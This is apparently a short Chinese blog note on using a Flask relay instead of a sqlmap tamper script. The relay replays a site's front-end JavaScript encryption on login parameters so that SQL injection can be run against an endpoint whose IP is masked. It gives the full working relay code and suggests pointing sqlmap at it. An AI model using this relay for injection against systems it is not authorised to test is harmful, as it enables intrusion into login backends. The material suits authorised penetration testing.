首页 瞎搞

除去写sqlmap tamper的一种方法,用Flask进行中转,针对一些前端加密,不太方便注入的,忘了哪儿看的了,记录下

首先加密用test.js内容如下:

function en(code) {
        try {
            var c = "";
            for (var i = 0; i < code.length; i++) {
                c += String.fromCharCode(code.charCodeAt(i) + 1) + String.fromCharCode(code.charCodeAt(i) - 3) + String.fromCharCode(code.charCodeAt(i) + 3);
            }
            return c;
        }
        catch (e) {
            alert(e.message)
        }
}

python起Flask进行中转,然后调用js处理用户名密码:

import execjs
import requests
from flask import Flask, request

app = Flask(__name__)


# 调用js处理用户名密码
def getEnc(e):
    with open('test.js', 'r', encoding='utf-8') as f:
        r = f.read()
    # 编译
    loader = execjs.compile(r)
    # 调用js中的方法en,传入参数e
    res = loader.call('en', e)
    return res


# 请求路由
@app.route('/sql')
def hello_world():
    url = 'http://xx.xx.xx.xx/hello.ashx'
    header = {
        'User-Agent': 'Mozilla/6.0 (Windows NT 10.12; Trident/9.0; rv:30.0) like Gecko1',
        'Content-Type': 'application/x-www-form-urlencoded'
    }

    proxy = {
        'http': '127.0.0.1:8080'
    }

    # 接收路由sql传入的user、pwd然后调用getEnc进行处理
    user = getEnc(request.args['user'])
    pwd = getEnc(request.args['pwd'])

    data = 'login={}&logpwd={}'.format(user, pwd)

    # 请求实际注入点
    r = requests.post(url, data=data, headers=header)
    
    return r.text


if __name__ == '__main__':
    app.run()

python直接运行,默认监听在本地5000端口,然后可以直接本地进行注入了:

11971-8yivx81imix.png

也能直接对接sqlmap,建议线程调低点



文章评论

评论已关闭